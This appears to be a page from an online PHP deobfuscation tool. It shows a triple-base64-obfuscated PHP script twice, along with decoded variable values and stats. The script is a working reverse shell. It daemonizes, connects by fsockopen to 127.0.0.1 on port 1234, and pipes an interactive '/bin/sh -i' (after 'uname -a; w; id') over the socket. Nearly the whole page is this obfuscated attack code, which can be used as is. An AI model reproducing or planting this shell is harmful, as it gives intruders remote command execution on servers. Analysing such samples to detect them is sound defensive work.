Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php set_time_limit(0);$xhypqdxy_c55c66ef=base64_decode(base64_decode(base64_decode('VFZN..

Decoded Output download

<?php set_time_limit(0);$xhypqdxy_c55c66ef=base64_decode(base64_decode(base64_decode('VFZNMGR3PT0=')));$ffyxctpy_27fa5c1d=base64_decode(base64_decode(base64_decode('VFZSSk0weHFRWFZOUXpSNA==')));$bzzevnoz_8d64acf1=1234;$rzkiaiba_40dae91=1400;$jfbxdyet_e7d35957=null;$pzyaivkm_4af3d6cd=null;$erqywijf_acafdcc7=base64_decode(base64_decode(base64_decode('WkZjMWFHSlhWV2RNVjBVM1NVaGpOMGxIYkd0UGVVRjJXVzFzZFV3elRtOUpRekZ3')));$teoukbbi_474a2008=0;$kzqgeriv_b61a26b8=0;if(function_exists(base64_decode(base64_decode(base64_decode('WTBkT2RXUkhlR1phYlRsNVlYYzlQUT09'))))){$fuqdyqyx_4545c77=zodwwcus_846c561f();if($fuqdyqyx_4545c77==-1){tyzhrnle_adb63ffa(base64_decode(base64_decode(base64_decode('VWxaS1UxUXhTVFpKUlU1b1ltbGtNRWxIV25aamJYTTk='))));exit(1);}if($fuqdyqyx_4545c77){exit(0);}if(posix_setsid()==-1){tyzhrnle_adb63ffa(base64_decode(base64_decode(base64_decode('VWxoS2VXSXpTVFpKUlU1b1ltbGtNRWxJVG14a1NFNXdXa05uY0E9PQ=='))));exit(1);}$teoukbbi_474a2008=1;}else{tyzhrnle_adb63ffa(base64_decode(base64_decode(base64_decode('VmpCR1UxUnJiRTlTZW05blVtMUdjR0pIVm10SlNGSjJTVWRTYUZwWE1YWmliV3g2V2xNMFowbEdVbTloV0UxbllWaE5aMk5ZVm5Ca1IxVm5XVEk1ZEdKWE9YVkpSMFoxV2tOQ2RXSXpVV2RhYlVZd1dWZDNkUT09'))));}chdir(base64_decode(base64_decode(base64_decode('VEhjOVBRPT0='))));umask(0);$cerflnbl_1206cfe1=fsockopen($ffyxctpy_27fa5c1d,$bzzevnoz_8d64acf1,$tkcgpwbs_fae1fa01,$vtaujkka_b8d175ac,30);if(!$cerflnbl_1206cfe1){tyzhrnle_adb63ffa("$vtaujkka_b8d175ac ($tkcgpwbs_fae1fa01)");exit(1);}$kdaucrba_2aad73ef=array(0=>array(base64_decode(base64_decode(base64_decode('WTBkc2QxcFJQVDA9'))),base64_decode(base64_decode(base64_decode('WTJjOVBRPT0=')))),1=>array(base64_decode(base64_decode(base64_decode('WTBkc2QxcFJQVDA9'))),base64_decode(base64_decode(base64_decode('WkhjOVBRPT0=')))),2=>array(base64_decode(base64_decode(base64_decode('WTBkc2QxcFJQVDA9'))),base64_decode(base64_decode(base64_decode('WkhjOVBRPT0=')))));$verporgz_8686f541=proc_open($erqywijf_acafdcc7,$kdaucrba_2aad73ef,$nssqoduh_8a71a174);if(!is_resource($verporgz_8686f541)){tyzhrnle_adb63ffa(base64_decode(base64_decode(base64_decode('VWxaS1UxUXhTVFpKUlU1b1ltbGtNRWxJVG5kWldHUjFTVWhPYjFwWGVITT0='))));exit(1);}stream_set_blocking($nssqoduh_8a71a174[0],0);stream_set_blocking($nssqoduh_8a71a174[1],0);stream_set_blocking($nssqoduh_8a71a174[2],0);stream_set_blocking($cerflnbl_1206cfe1,0);tyzhrnle_adb63ffa("Successfully opened reverse shell to $ffyxctpy_27fa5c1d:$bzzevnoz_8d64acf1");while(1){if(feof($cerflnbl_1206cfe1)){tyzhrnle_adb63ffa(base64_decode(base64_decode(base64_decode('VWxaS1UxUXhTVFpKUms1dldsZDRjMGxIVG5aaWJUVnNXVE5TY0dJeU5HZGtSMVo1WWxkc2RWbFlVbXhhUVQwOQ=='))));break;}if(feof($nssqoduh_8a71a174[1])){tyzhrnle_adb63ffa(base64_decode(base64_decode(base64_decode('VWxaS1UxUXhTVFpKUms1dldsZDRjMGxJUW5saU1rNXNZek5OWjJSSFZubGlWMngxV1ZoU2JGcEJQVDA9'))));break;}$qitocjnv_3db124e0=array($cerflnbl_1206cfe1,$nssqoduh_8a71a174[1],$nssqoduh_8a71a174[2]);$qbizstio_2bf34a26=stream_select($qitocjnv_3db124e0,$jfbxdyet_e7d35957,$pzyaivkm_4af3d6cd,null);if(in_array($cerflnbl_1206cfe1,$qitocjnv_3db124e0)){if($kzqgeriv_b61a26b8)tyzhrnle_adb63ffa(base64_decode(base64_decode(base64_decode('VlRBNVJGTjVRbE5TVlVaRg=='))));$eglmhuwh_8d4a5094=fread($cerflnbl_1206cfe1,$rzkiaiba_40dae91);if($kzqgeriv_b61a26b8)tyzhrnle_adb63ffa("SOCK: $eglmhuwh_8d4a5094");fwrite($nssqoduh_8a71a174[0],$eglmhuwh_8d4a5094);}if(in_array($nssqoduh_8a71a174[1],$qitocjnv_3db124e0)){if($kzqgeriv_b61a26b8)tyzhrnle_adb63ffa(base64_decode(base64_decode(base64_decode('VlRGU1JWUXhWbFZKUmtwR1VWVlJQUT09'))));$eglmhuwh_8d4a5094=fread($nssqoduh_8a71a174[1],$rzkiaiba_40dae91);if($kzqgeriv_b61a26b8)tyzhrnle_adb63ffa("STDOUT: $eglmhuwh_8d4a5094");fwrite($cerflnbl_1206cfe1,$eglmhuwh_8d4a5094);}if(in_array($nssqoduh_8a71a174[2],$qitocjnv_3db124e0)){if($kzqgeriv_b61a26b8)tyzhrnle_adb63ffa(base64_decode(base64_decode(base64_decode('VlRGU1JWSldTbE5KUmtwR1VWVlJQUT09'))));$eglmhuwh_8d4a5094=fread($nssqoduh_8a71a174[2],$rzkiaiba_40dae91);if($kzqgeriv_b61a26b8)tyzhrnle_adb63ffa("STDERR: $eglmhuwh_8d4a5094");fwrite($cerflnbl_1206cfe1,$eglmhuwh_8d4a5094);}}fclose($cerflnbl_1206cfe1);fclose($nssqoduh_8a71a174[0]);fclose($nssqoduh_8a71a174[1]);fclose($nssqoduh_8a71a174[2]);proc_close($verporgz_8686f541);function tyzhrnle_adb63ffa($mzslabon_f53fa710){if(!$teoukbbi_474a2008){print"$mzslabon_f53fa710
";}}?>

Did this file decode correctly?

Original Code

<?php set_time_limit(0);$xhypqdxy_c55c66ef=base64_decode(base64_decode(base64_decode('VFZNMGR3PT0=')));$ffyxctpy_27fa5c1d=base64_decode(base64_decode(base64_decode('VFZSSk0weHFRWFZOUXpSNA==')));$bzzevnoz_8d64acf1=1234;$rzkiaiba_40dae91=1400;$jfbxdyet_e7d35957=null;$pzyaivkm_4af3d6cd=null;$erqywijf_acafdcc7=base64_decode(base64_decode(base64_decode('WkZjMWFHSlhWV2RNVjBVM1NVaGpOMGxIYkd0UGVVRjJXVzFzZFV3elRtOUpRekZ3')));$teoukbbi_474a2008=0;$kzqgeriv_b61a26b8=0;if(function_exists(base64_decode(base64_decode(base64_decode('WTBkT2RXUkhlR1phYlRsNVlYYzlQUT09'))))){$fuqdyqyx_4545c77=zodwwcus_846c561f();if($fuqdyqyx_4545c77==-1){tyzhrnle_adb63ffa(base64_decode(base64_decode(base64_decode('VWxaS1UxUXhTVFpKUlU1b1ltbGtNRWxIV25aamJYTTk='))));exit(1);}if($fuqdyqyx_4545c77){exit(0);}if(posix_setsid()==-1){tyzhrnle_adb63ffa(base64_decode(base64_decode(base64_decode('VWxoS2VXSXpTVFpKUlU1b1ltbGtNRWxJVG14a1NFNXdXa05uY0E9PQ=='))));exit(1);}$teoukbbi_474a2008=1;}else{tyzhrnle_adb63ffa(base64_decode(base64_decode(base64_decode('VmpCR1UxUnJiRTlTZW05blVtMUdjR0pIVm10SlNGSjJTVWRTYUZwWE1YWmliV3g2V2xNMFowbEdVbTloV0UxbllWaE5aMk5ZVm5Ca1IxVm5XVEk1ZEdKWE9YVkpSMFoxV2tOQ2RXSXpVV2RhYlVZd1dWZDNkUT09'))));}chdir(base64_decode(base64_decode(base64_decode('VEhjOVBRPT0='))));umask(0);$cerflnbl_1206cfe1=fsockopen($ffyxctpy_27fa5c1d,$bzzevnoz_8d64acf1,$tkcgpwbs_fae1fa01,$vtaujkka_b8d175ac,30);if(!$cerflnbl_1206cfe1){tyzhrnle_adb63ffa("$vtaujkka_b8d175ac ($tkcgpwbs_fae1fa01)");exit(1);}$kdaucrba_2aad73ef=array(0=>array(base64_decode(base64_decode(base64_decode('WTBkc2QxcFJQVDA9'))),base64_decode(base64_decode(base64_decode('WTJjOVBRPT0=')))),1=>array(base64_decode(base64_decode(base64_decode('WTBkc2QxcFJQVDA9'))),base64_decode(base64_decode(base64_decode('WkhjOVBRPT0=')))),2=>array(base64_decode(base64_decode(base64_decode('WTBkc2QxcFJQVDA9'))),base64_decode(base64_decode(base64_decode('WkhjOVBRPT0=')))));$verporgz_8686f541=proc_open($erqywijf_acafdcc7,$kdaucrba_2aad73ef,$nssqoduh_8a71a174);if(!is_resource($verporgz_8686f541)){tyzhrnle_adb63ffa(base64_decode(base64_decode(base64_decode('VWxaS1UxUXhTVFpKUlU1b1ltbGtNRWxJVG5kWldHUjFTVWhPYjFwWGVITT0='))));exit(1);}stream_set_blocking($nssqoduh_8a71a174[0],0);stream_set_blocking($nssqoduh_8a71a174[1],0);stream_set_blocking($nssqoduh_8a71a174[2],0);stream_set_blocking($cerflnbl_1206cfe1,0);tyzhrnle_adb63ffa("Successfully opened reverse shell to $ffyxctpy_27fa5c1d:$bzzevnoz_8d64acf1");while(1){if(feof($cerflnbl_1206cfe1)){tyzhrnle_adb63ffa(base64_decode(base64_decode(base64_decode('VWxaS1UxUXhTVFpKUms1dldsZDRjMGxIVG5aaWJUVnNXVE5TY0dJeU5HZGtSMVo1WWxkc2RWbFlVbXhhUVQwOQ=='))));break;}if(feof($nssqoduh_8a71a174[1])){tyzhrnle_adb63ffa(base64_decode(base64_decode(base64_decode('VWxaS1UxUXhTVFpKUms1dldsZDRjMGxJUW5saU1rNXNZek5OWjJSSFZubGlWMngxV1ZoU2JGcEJQVDA9'))));break;}$qitocjnv_3db124e0=array($cerflnbl_1206cfe1,$nssqoduh_8a71a174[1],$nssqoduh_8a71a174[2]);$qbizstio_2bf34a26=stream_select($qitocjnv_3db124e0,$jfbxdyet_e7d35957,$pzyaivkm_4af3d6cd,null);if(in_array($cerflnbl_1206cfe1,$qitocjnv_3db124e0)){if($kzqgeriv_b61a26b8)tyzhrnle_adb63ffa(base64_decode(base64_decode(base64_decode('VlRBNVJGTjVRbE5TVlVaRg=='))));$eglmhuwh_8d4a5094=fread($cerflnbl_1206cfe1,$rzkiaiba_40dae91);if($kzqgeriv_b61a26b8)tyzhrnle_adb63ffa("SOCK: $eglmhuwh_8d4a5094");fwrite($nssqoduh_8a71a174[0],$eglmhuwh_8d4a5094);}if(in_array($nssqoduh_8a71a174[1],$qitocjnv_3db124e0)){if($kzqgeriv_b61a26b8)tyzhrnle_adb63ffa(base64_decode(base64_decode(base64_decode('VlRGU1JWUXhWbFZKUmtwR1VWVlJQUT09'))));$eglmhuwh_8d4a5094=fread($nssqoduh_8a71a174[1],$rzkiaiba_40dae91);if($kzqgeriv_b61a26b8)tyzhrnle_adb63ffa("STDOUT: $eglmhuwh_8d4a5094");fwrite($cerflnbl_1206cfe1,$eglmhuwh_8d4a5094);}if(in_array($nssqoduh_8a71a174[2],$qitocjnv_3db124e0)){if($kzqgeriv_b61a26b8)tyzhrnle_adb63ffa(base64_decode(base64_decode(base64_decode('VlRGU1JWSldTbE5KUmtwR1VWVlJQUT09'))));$eglmhuwh_8d4a5094=fread($nssqoduh_8a71a174[2],$rzkiaiba_40dae91);if($kzqgeriv_b61a26b8)tyzhrnle_adb63ffa("STDERR: $eglmhuwh_8d4a5094");fwrite($cerflnbl_1206cfe1,$eglmhuwh_8d4a5094);}}fclose($cerflnbl_1206cfe1);fclose($nssqoduh_8a71a174[0]);fclose($nssqoduh_8a71a174[1]);fclose($nssqoduh_8a71a174[2]);proc_close($verporgz_8686f541);function tyzhrnle_adb63ffa($mzslabon_f53fa710){if(!$teoukbbi_474a2008){print"$mzslabon_f53fa710\n";}}?>

Function Calls

base64_decode 15
set_time_limit 1
function_exists 1
tyzhrnle_adb63ffa 1

Variables

$rzkiaiba_40dae91 1400
$bzzevnoz_8d64acf1 1234
$erqywijf_acafdcc7 uname -a; w; id; /bin/sh -i
$ffyxctpy_27fa5c1d 127.0.0.1
$jfbxdyet_e7d35957 0
$kzqgeriv_b61a26b8 0
$pzyaivkm_4af3d6cd 0
$teoukbbi_474a2008 0
$xhypqdxy_c55c66ef 1.0

Stats

MD5 8524c04f5605a84dba58d315eee5f4bb
Eval Count 0
Decode Time 154 ms